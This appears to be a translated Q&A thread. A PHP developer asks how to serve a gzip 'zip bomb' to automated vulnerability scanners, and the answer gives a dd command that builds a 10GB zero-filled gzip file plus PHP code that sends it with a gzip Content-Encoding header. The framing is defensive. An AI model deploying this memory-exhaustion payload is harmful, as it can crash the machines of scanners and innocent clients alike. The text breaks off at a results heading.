我目前正在开发一个PHP类作为可以检测暴力和SQLi攻击的webapps的IDS类型,我开始意识到我的系统上的大多数攻击都是通过未配置的恶意软件扫描程序完成的。 nikto或sqlmap。让我们暂时忽略这应该由服务器而不是网络应用程序完成。
由于它们都是为了分析来自网络服务器的答案而构建的,我认为可以使用ZIP bomb来轰炸它们。
我的想法是我的PHP脚本发送一个带有小(压缩)gzip数据的gzip头文件,客户端将解压缩它 - 导致它耗尽内存。
任何人都可以告诉我一些关于如何实现这一点的指示,或者仅仅是由网络服务器完成的gzip并且它无法通过PHP完成
答案 0 :(得分:1)
我在Github上找到了一个现成的解决方案。
它被称为GzipBloat,它完全符合我的要求。
首先生成一个10GB的gzip文件(第一次压缩后为10MB),填充/dev/zero
的输入
dd if=/dev/zero bs=1M count=10240 | gzip > 10G.gzip
在PHP中,然后设置内容编码并将gzip文件发送到客户端。
header("Content-Encoding: gzip");
header("Content-Length: ".filesize('10G.gzip'));
//Turn off output buffering
if (ob_get_level()) ob_end_clean();
readfile('10G.gzip');
结果(Win10):